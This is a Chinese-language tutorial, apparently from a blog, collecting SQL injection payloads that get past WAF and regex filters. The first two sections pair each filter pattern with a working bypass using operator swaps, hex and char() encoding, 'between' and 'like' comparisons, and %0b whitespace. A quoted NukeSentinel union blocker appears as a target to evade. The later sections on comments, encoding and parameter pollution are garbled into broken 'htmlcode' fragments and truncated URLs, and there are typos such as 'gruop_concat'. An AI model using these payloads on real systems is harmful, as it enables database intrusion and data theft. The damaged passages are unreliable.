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关于SQL注入绕过的一些知识点

一、 绕过waf思路

从第一步起,一点一点去分析,然后绕过。

1、过滤 and,or

preg_match('/(and|or)/i', $id)
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1

2、过滤 and, or, union

preg_match('/(and|or|union)/i', $id)
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'

3、过滤 and, or, union, where

preg_match('/(and|or|union|where)/i', $id)
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'

4、过滤 and, or, union, where, limit

preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

5、过滤 and, or, union, where, limit, group by

preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

6、过滤 and, or, union, where, limit, group by, select

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'

7、过滤 and, or, union, where, limit, group by, select, ‘

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)

8、过滤 and, or, union, where, limit, group by, select, ‘, hex

preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))

9、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)

10、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
ypassed injection: 1%0b||%0blpad(user,7,1)

二、正则绕过

根据正则的的模糊匹配特性绕过,比如过滤了'='

filtered injection: 1 or 1 = 1

Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)

eg:
filtered injection:  1 union select 1, table_name from information_schema.tables where table_name = 'users'
Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
Bypassed Injection:  1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273

三、通用绕过

1.注释符

"htmlcode">
"htmlcode">
"htmlcode">
Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).html
Bypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html

4.编码

一个经典的脚本:Nukesentinel.php

// Check for UNION attack
  // Copyright 2004(c) Raven PHP Scripts
  $blocker_row = $blocker_array[1];
  if($blocker_row['activate'] > 0) {
  if (stristr($nsnst_const['query_string'],'+union+') OR   stristr($nsnst_const['query_string'],'%20union%20') OR   stristr($nsnst_const['query_string'],'*/union/*') OR   stristr($nsnst_const['query_string'],' union ') OR   stristr($nsnst_const['query_string_base64'],'+union+') OR   stristr($nsnst_const['query_string_base64'],'%20union%20') OR   stristr($nsnst_const['query_string_base64'],'*/union/*') OR   stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
   die("BLOCK IP 1 " );
  }
  }
Forbidden: http://localhost/php/"htmlcode">
http://localhost/news.php"htmlcode">
http://localhost/news.php"color: #ff0000">四、高级绕过

1.HPP(http参数污染)

举个例子:

index.php"htmlcode">
Forbidden: http://localhost/search.aspx"htmlcode">
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / "htmlcode">
| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP |
| :— | :— | :— |
| "htmlcode">
Forbidden: http://localhost/"color: #ff0000">总结

以上就是关于sql注入绕过的技巧总结,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对的支持。